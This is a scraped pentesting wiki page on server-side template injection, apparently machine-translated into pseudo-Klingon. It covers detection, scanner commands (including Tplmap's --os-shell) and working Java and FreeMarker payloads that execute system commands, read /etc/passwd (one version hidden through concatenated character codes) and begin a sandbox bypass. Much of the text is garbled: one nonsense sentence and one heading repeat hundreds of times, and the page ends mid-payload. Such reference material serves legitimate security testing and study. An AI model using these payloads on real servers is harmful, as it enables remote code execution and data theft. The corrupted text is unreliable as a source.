hacktricks/pentesting-web/ssti-server-side-template-injection
2024-02-10 17:52:19 +00:00
..
el-expression-language.md Translated to Klingon 2024-02-10 17:52:19 +00:00
jinja2-ssti.md Translated to Klingon 2024-02-10 17:52:19 +00:00
README.md Translated to Klingon 2024-02-10 17:52:19 +00:00

SSTI (Server Side Template Injection)

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.

{% embed url="https://www.rootedcon.com/" %}

What is SSTI (Server-Side Template Injection)

Server-side template injection is a vulnerability that occurs when an attacker can inject malicious code into a template that is executed on the server. This vulnerability can be found in various technologies, including Jinja.

Jinja is a popular template engine used in web applications. Let's consider an example that demonstrates a vulnerable code snippet using Jinja:

output = template.render(name=request.args.get('name'))

Klingon Translation:

In this vulnerable code, the name parameter from the user's request is directly passed into the template using the render function. This can potentially allow an attacker to inject malicious code into the name parameter, leading to server-side template injection.

For instance, an attacker could craft a request with a payload like this:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.

To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.

Detection

To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. This involves injecting a sequence of special characters (${{<%[%'"}}%\) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:

  • Thrown errors, revealing the vulnerability and potentially the template engine.

  • Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.

  • Plaintext Context: Distinguish from XSS by checking if the server evaluates template expressions (e.g., {{7*7}}, ${7*7}).

  • Code Context: Confirm vulnerability by altering input parameters. For instance, changing greeting in http://vulnerable-website.com/?greeting=data.username to see if the server's output is dynamic or fixed, like in greeting=data.username}}hello returning the username.

Identification Phase

Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include ${7/0}, {{7/0}}, and <%= 7/0 %>. Observing the server's response to mathematical operations helps pinpoint the specific template engine.

Tools

TInjA

an efficient SSTI + CSTI scanner which utilizes novel polyglots

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

SSTImap is a tool designed to automate Server-Side Template Injection (SSTI) vulnerability detection in web applications. It is written in Python and can be used to identify and exploit SSTI vulnerabilities in various web frameworks.

Features

  • Automated detection: SSTImap automates the process of identifying SSTI vulnerabilities in web applications. It sends payloads to the target application and analyzes the responses to determine if a vulnerability exists.

  • Payload customization: SSTImap allows you to customize the payloads that are sent to the target application. This can be useful for bypassing filters or targeting specific SSTI vulnerabilities.

  • Multiple web frameworks: SSTImap supports multiple web frameworks, including Flask, Django, Jinja2, and Twig. It is designed to work with both Python-based and non-Python-based web applications.

  • Exploitation: SSTImap can also be used to exploit SSTI vulnerabilities once they have been identified. It provides a command-line interface for executing arbitrary code on the target server.

Usage

To use SSTImap, you will need to have Python installed on your system. You can then install SSTImap using pip:

pip install sstimap

Once installed, you can run SSTImap using the following command:

sstimap --url <target_url>

Replace <target_url> with the URL of the web application you want to test for SSTI vulnerabilities.

Example

Here is an example command to run SSTImap against a target URL:

sstimap --url http://example.com

This will run SSTImap against the specified URL and display the results in the console.

Disclaimer

SSTImap is a powerful tool that can be used for both legitimate security testing and malicious purposes. It is important to obtain proper authorization before using SSTImap on any web application that you do not own or have permission to test. Unauthorized use of SSTImap can lead to legal consequences.

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

Description: Tplmap is a tool specifically designed to exploit Server-Side Template Injection (SSTI) vulnerabilities. It can be used during penetration testing to identify and exploit these vulnerabilities in web applications.

Usage: Tplmap can be run from the command line by providing the target URL and other optional parameters. It will automatically detect the template engine used by the application and attempt to inject payloads to test for SSTI vulnerabilities.

Features:

  • Automatic detection of template engine
  • Support for multiple template engines, including Jinja2, Mako, and Twig
  • Custom payload injection
  • Interactive mode for manual testing
  • Ability to specify custom headers and cookies
  • Support for both GET and POST requests
  • Ability to specify a proxy for requests
  • Ability to save and load sessions

Installation: Tplmap can be installed using pip by running the following command:

pip install tplmap

Examples:

  1. Basic usage:
tplmap -u http://example.com/page?param1=value1&param2=value2
  1. Specify a custom payload:
tplmap -u http://example.com/page?param1=value1&param2=value2 --payload "{{7*7}}"
  1. Use interactive mode:
tplmap -u http://example.com/page?param1=value1&param2=value2 --interactive

Note: Tplmap should only be used for ethical hacking purposes with proper authorization. Unauthorized use of this tool is illegal and can result in severe consequences.

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

ghItlhlaH table interactive Dochvam polyglots template injection 'ej responses expected 44 template engines 'oH.

Exploits

Generic

'ej wordlist 'oH variables defined environments engines mentioned below:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Retrieve the systems environment variables

Java - vItlhutlh

To retrieve the system's environment variables in Java, you can use the System.getenv() method. This method returns a Map object containing all the environment variables and their corresponding values.

Here is an example code snippet:

import java.util.Map;

public class EnvironmentVariables {
    public static void main(String[] args) {
        Map<String, String> env = System.getenv();
        for (String key : env.keySet()) {
            String value = env.get(key);
            System.out.println(key + " = " + value);
        }
    }
}

This code will print out all the environment variables and their values. You can customize the output format according to your needs.

Java - vItlhutlh

JavaDa, vItlhutlhbe'chugh, System.getenv() method vIlo'laHbe'. vaj 'ej vay' 'ay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay' 'ej vItlhutlhbe'chugh 'ay' vItlhutlhbe'chugh 'ej vay

${T(java.lang.System).getenv()}

Java - Retrieve /etc/passwd

Java - /etc/passwd jImej

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

Java - /etc/passwd

**Java - /

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

You can try your payloads at https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}

FreeMarker (Java)

https://try.freemarker.apache.org vItlhutlh

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ Freemarker vItlhutlh 2.3.30 Daq bIyajbe'.

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
